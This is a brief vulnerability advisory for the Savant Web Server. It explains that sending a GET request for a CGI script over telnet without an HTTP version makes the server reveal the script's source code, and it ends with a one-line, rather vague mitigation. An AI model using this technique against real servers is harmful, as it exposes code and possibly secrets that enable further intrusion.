Omitting the HTTP version from a ‘GET’ request for a CGI script to the Savant Web Server discloses the source code of the script

Omitting the HTTP version from a 'GET' request for a CGI script to the Savant Web Server discloses the source code of the script. An attacker can use telnet to connect to the target and issue a GET request for the CGI script without specifying the HTTP version. The source code of the script will then be displayed.

Mitigation:

Ensure that the Savant Web Server is configured to not allow the omission of the HTTP version from a 'GET' request for a CGI script.
